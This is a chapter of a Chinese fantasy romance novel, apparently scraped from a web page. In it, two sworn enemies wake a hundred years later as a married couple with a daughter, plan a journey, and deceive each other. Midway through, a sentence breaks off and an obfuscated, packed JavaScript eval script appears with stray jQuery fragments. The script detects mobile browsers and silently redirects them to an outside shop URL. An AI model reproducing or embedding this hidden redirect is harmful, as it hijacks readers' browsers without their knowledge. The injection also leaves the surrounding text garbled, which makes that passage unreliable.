昨日,他们还在乱云吹雪的九重山。
剑刃相抵,生死相搏。
只是重伤力竭后闭目片刻,再一睁眼,流光暗渡百载。而同衾共枕者,竟是昨日与自己同归于尽的宿敌。
闭眼死敌,睁眼夫妻。
一闭一睁,天翻地覆。
月色照影,在地上投出两个僵立的人影。
一动不动,活像两截枯木。
叶沉璧与江近楼面面相觑,谁也不肯先开口。
一旁的枕流哈欠连天,嘟囔道:“你们吵完了吗?我困了。”
这半日,他委实遭了大罪。
江近楼失了修为,胸中郁结一股怨气,故意拿剑当拐杖折磨他。
烈日当头,他陪着江近楼走了不少路。
好不容易挨到回家,他今夜本打算躲回剑中,安安稳稳睡上一觉。
偏生这二人吵架,又把他拽出来评理。
闻言,江近楼嫌弃地瞥了他一眼:“……昭昭,现下在天子城何处?”
枕流撇撇嘴:“去年,你亲自把昭昭送去太虚宗拜师,非要她拜入江宗主门下,做你的师妹。教昭昭见了你,不知该先叫师兄,还是先喊爹。”
叶沉璧开口打断他的话:“我的女儿,为何不去万重宗拜师?”
枕流:“当初铁了心要把昭昭送去太虚宗的人,就是你。”
叶沉璧侧身看向惊澜,半是求证半是质疑:“当真?”
惊澜重重应道:“嗯!”
这句话过后,又是漫长的死寂。
*
残月未落,朝霞已生。
山中晨风过处,似有若无的叹息,让人分不清是梦是醒。
江近楼问出最后一个问题,声音低涩:“那个……昭昭,几岁了?有画像吗?”
枕流答:“今年九月初九,便足十七了。画像在新宅子里。”
叶沉璧犹豫着问出口:“东厢那堆衣裙,是她的吗?”
“两日前,你们自箱底翻出昭昭的衣裙,话起当年。”惊澜轻轻点了点头,眼底闪过一瞬窘色,“后来,你们相拥而泣,哭作一团。哭着哭着,他打横抱着你回了西厢,闭门双修。两日后,西厢房门重开,出来的人,便是你们了。”
闭门双修。
整整两日。
恩爱百年。
已有一女。
仅凭惊澜寥寥数语,便知二人平日情深之状。
可这话落到叶沉璧与江近楼耳中,却只剩惊恐与无措。
他们唇线紧抿,各自踉跄向后退了五六步。
一个垂眸盯着脚边孤影,一个转脸望向院外山景。
彼此默契地错开视线,生怕一个不慎与对方的目光撞个正着,徒添几分难以启齿的尴尬。
趁二人沉默的间隙,惊澜与枕流偷摸溜出门,直奔英山最高处。
寅时过半,一线金光从山脊后漫上来。
先漫过崖边闭目打坐的惊澜与枕流,再穿过山下院落的院墙,漫过院中呆若木鸡的叶沉璧与江近楼。
朝光在面庞间徘徊流转,直至将二人从神思恍惚的残梦中唤醒,推入无处可避的灼日之下。
叶沉璧似被暖意催醒,涩声吐出一句:“与你恩爱百年的人,不是我。”
江近楼面色如霜,冷冷道:“与你双修的人,也不是我。”
他们是百年前的叶沉璧与江近楼。
他们有自己的人生,他们不属于全然陌生的百年后。
或许,百年后的叶沉璧与江近楼爱得刻骨铭心。
曾生死相许,亦曾抵死缠绵。
可今日的他们,凭什么要因为这段不曾亲历、不曾活过、更从未认可过的百年光景,被迫与自己平生最厌之人绑在一起,同檐共命?
百年后的一切,通通与他们无关。
他们该回到百年前,回到他们原本的命途里去。
叶沉璧:“我们去天子城,找昭昭问清楚,我不愿待在这里。”
江近楼:“正有此意。”
“回房商议。”
*
他们眼前的困厄有三。
其一,困楼阵虚实莫测,需静候三日见分晓。
其二,他们四年前自行封禁神识,无从遥讯江明夷。若要传讯,只两条路:千里迢迢赶赴天子城亲见,或寻一位可托付生死之人代为传话。
其三,他们修为莫名跌落,如今与凡人无异。天子城远在极北雪疆,就算策马疾驰,亦需一月有余。眼下无车无马无钱,东极城中又无太虚宗与万重宗的分宗或别院。
三重困局如山横亘,可谓举步维艰。
入房后,江近楼环顾满房尽敞的箱笼,疑惑道:“山中灵气充沛,这家里没灵石吗?”
“找过了,没有。”叶沉璧倚坐在榻沿,俯身揉着酸乏的小腿,解释道,“惊澜说,家中凡可称值钱之物,全被你我封印了。”
昨夜,她遍寻无获,一问才知家中所有值钱之物,悉数被封印在了另一处宅院。
破阵易如反掌:修为到了归虚境二阶以上,宅门自开。
江近楼负手走到窗前,眺望远处的山峦:“叶沉璧,你想过我们到底出了什么事吗?”
叶沉璧没有作答。
因为那团乱麻,也缠在她的心头。
起初,她想得简单。
或回万重宗,或去太阿城找万浮岚,诸般疑惑总有落处。
可惊澜那番话,让她心生退意。
以她的性子,亲生女儿不送去熟悉的万重宗,反倒送往太虚宗。想来这百年间,她与万重宗应是结下了不为人知的深怨。
万重宗,大概是不能回了。
唯一信得过的万浮岚,又远在太阿城。
身后久无回音,江近楼忽地问道:“你的仇家有多少?”
叶沉璧:“成百上千吧,你呢?”
江近楼:“与你不相上下吧。”
“难办。”
无钱有仇人,江近楼偏过头去,低低笑了两声:“天公絮长居琴鼓城。我们先想法子到琴鼓城,我去找他借钱,顺便帮我们传音给昭昭。”
叶沉璧眉头紧蹙:“天公絮是何人?”
江近楼:“十方宗方见青,号天公絮。”
“他啊。”
叶沉璧与方见青,属一面之交。
倒是她听万浮岚说,此人是江近楼的至交。
那么,问题来了。
他们该如何前往琴鼓城?
对此,江近楼倒有一个法子:“我听枕流说,我二人素日行侠仗义,周遭乡民多受我们恩惠。不若你我今日出山,将往昔恩情化为来日盘缠,让他们送我们一程?”
听完他的话,叶沉璧更加心如死灰:“完了。”
江近楼蹙眉不解:“你是何意?”
“欠我们恩情的人越多,说明我们结下的仇怨也越多。”叶沉璧脱力似的往后一倒,颓然道,“你我连外头那两柄剑都不如。若遇上修为高的仇家,不是你死,就是我死。或者,我们一起死。”
江近楼故作沉吟,一言不发。
他昨日偷偷寻人一试,方知自己身上有一道禁制,旁人难察他修为深浅。
他猜,叶沉璧身上也有这道禁制。
方才他本想与她明言,可话刚递到嘴边,突然想起昨日在镇上闲逛时,曾见过几个万重宗的外门弟子。
叶沉璧狡如狐、毒如蛇、贪如狼。
若他和盘托出后,她转身暗通万重宗,他岂非危在旦夕?
不说,她才会一心倚仗他,才会乖乖任他拿捏。
故而,他决意隐瞒禁制一事。
不过,为防旁人窥破她身上的禁制,他得先找个由头,将禁制之功尽数揽到自己身上。
思及此,他敛容正色,指尖轻点眉心:“我会一种幻术。此术能惑乱灵识,令观者难辨你我修为。”
“江近楼,你有修为施法?你会这么好心?”叶沉璧半眯着眼打量他,自是越看越觉他眉目间透着狡诈,明显没安好心,“昨日,你滚去了何处?”
“此术名为万象幻术,可惑一切窥探。只要你不出手,无人知晓你的修为深浅。叶沉璧,若非你我而今生死俱在一线,我又怎肯将宗门绝密轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17649849|206855||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
授于你?”江近楼坦然迎向她的目光,慢条斯理地从袖中摸出一枚玉佩,“这是上古灵玉,我可以借灵器施法。”
万象幻术为真。
其余三宗皆曾领教此术翻覆万象、以假乱真的威势,却无一人能窥其法门。
世间至高之幻术,他不信她能不为所动。
上古灵玉亦为真。
借灵器行术法,低阶修士常为。
他探过枕流的口风,确认两个剑魂对他们身上的禁制,浑然不知。
至于行踪,他选择如实相告,横竖他不说,枕流那个吃里扒外的狗叛徒,早晚也会帮他抖出来:“在镇中闲步半日。”
“我要学万象幻术。”
“可以。”
*
赤日满天地,枝头蝉声聒得人心烦意乱。
二人同坐的竹榻,正临西窗。
窗开半扇,风从窗外来,带着恼人的暑气。
叶沉璧半倚榻上,一边看窗外流云舒卷,一边默诵玄妙幻诀。江近楼则踞坐榻尾,一臂撑在膝上,一手搭在榻沿,苦思生财之道。
辰时东升,外间响起几声清凌凌的鸟鸣。
叶沉璧恍然回神,目光从窗外树影移向房中江近楼的背影。
她的足尖离他的腰背,仅半臂之距。
若能踹他一脚,岂不快哉?
想着想着,她屏住呼吸,慢慢抬起脚。
岂料江近楼这厮早有防备,回身便扣住她脚踝,骨节寸寸收紧。叶沉璧吃痛,拧腰而起,额头挟着风声,径直向他面门撞过去。
电光石火间,额头未及相触,唇齿先已撞在一处。
如蝶触蕊,一触即离。
他们同时僵住,又同时松手。
四目相顾,各怀难言。
外头忽起两声剑啸,前后相续。
叶沉璧惊醒,用手背使劲拭过唇边残迹,旋即忍痛穿鞋下榻,慌忙朝外奔去。行至门边,她回头吩咐道:“你去做饭,我饿了。”
谁知,她一扭头,竟见江近楼正以手紧捂鼻子。
他本就面白如玉,此刻两道刺目殷红自鼻窍涌出,顺着指节往下淌落,蜿蜒漫过人中、滑过唇沿,沿下颌坠落到那身白衫之上。
殷珠映冷白,宛如画中走出的索命厉鬼。
难道她撞得太狠了?
叶沉璧心虚起来,毕竟这厮今日以诚相待,大方将太虚宗秘传幻术倾囊相授,自己却以怨报德。
见他形容凄切,惨不忍睹,她只得支吾辩解:“我喊你,你不说话,我才出此下策……其实,我力气小得像蚊子蹬腿。”
江近楼以袖掩面,喉间滚出一声低骂。
那句骂声方一出口,便被窗外聒噪的蝉鸣掩住。
听来含混,不知是怨她,还是恨己。
叶沉璧匆匆交代了几句,便三步并作两步跑向东厢。
*
巳时三刻,二人用完朝食,一同出山。
临推开木门前,江近楼按住门闩,再三叮嘱:“我费心费力在你身上施加幻术,你莫要恩将仇报。若逢故旧,少想些宗门恩怨,多想想你我远在天子城的女儿昭昭。”
叶沉璧翻了个白眼:“你的废话真多。”
宗门虽不可归,江近楼亦不可靠。
二者相衡相制,互为牵制,方为万全之策。
她垂眸掩去神色,模棱两可道:“放心,我并非恩将仇报之人。”
江近楼背对着她,眼中无波,话音却沉:“叶沉璧,开门后,我们就是恩爱道侣。你我仇家遍地,哪怕一丝破绽,都足以致命。”
叶沉璧闷声道:“我知。”
得她一句轻飘飘的承诺,江近楼稍稍安心,一把拉开门。
门开,只见门外黑压压挤着一群百姓。
人头攒动,一眼望不见底。
为首之人,是一老一少。
老妪穿一身青布麻衣,挎一竹篮;女童披麻戴孝,哭眼抹泪。
瞧见二人出门,老妪急忙拽着女童抢上前来,高声喊道:“还钱!”
身后百姓亦挥臂齐呼:“还钱!”